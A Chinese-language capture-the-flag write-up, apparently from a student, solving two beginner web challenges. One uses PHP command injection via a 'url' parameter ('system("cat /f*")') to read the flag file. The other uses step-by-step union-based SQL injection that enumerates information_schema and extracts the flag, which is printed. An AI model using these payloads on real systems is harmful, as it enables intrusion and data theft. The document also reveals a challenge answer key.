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打开题以后发现这个界面，需要构造url的值，然后就想起来看一下目录
？url=system("ls /");注意：ls后面要有一个空格，然后一个分号结束，这不就出来了flag
1: ?url=system("cat /f*");
2\?url=system("cat /flllllaaaaaaggggggg");
[SWPUCTF 2021 新生赛]easy_sql
打开界面属实给我整不会了。
1.然后测一下是否存在sql漏洞，因为题目中说了参数是wllm，首先输入一下？wllm=1回显正常，然后试一下？wllm=1'然后出现错误，所以判断存在字符型漏洞，
2.测试一下字段列数，？wllm=1' order by 3--+,？wllm=1' order by 4--+出错所以为三列
3. ？wllm=1' union select 1,database(),3 --+
看一下回显位置顺便查询数据库名称，结果却一直不对，我想了半天才发现wllm=-1'这样前面肯定错误才会往后面走，记住就行了，然后查出来数据库名称是
4.进行下一部查询表， ?wllm=-1' union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema='test_db' --+
5.猜测flag在test_tb这个表里面
？wllm=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_schema='test_db' and
table_name='test_tb' --+
6.最后出现flag,然后?wllm=-1’ union select 1,database(),flag from test_tb
--+或者?wllm=-1' union select 1,flag,3 from test_tb --+
就得出了答案Your Login name:NSSCTF{17cff774-19ac-4227-bb53-29e6e97ca767}
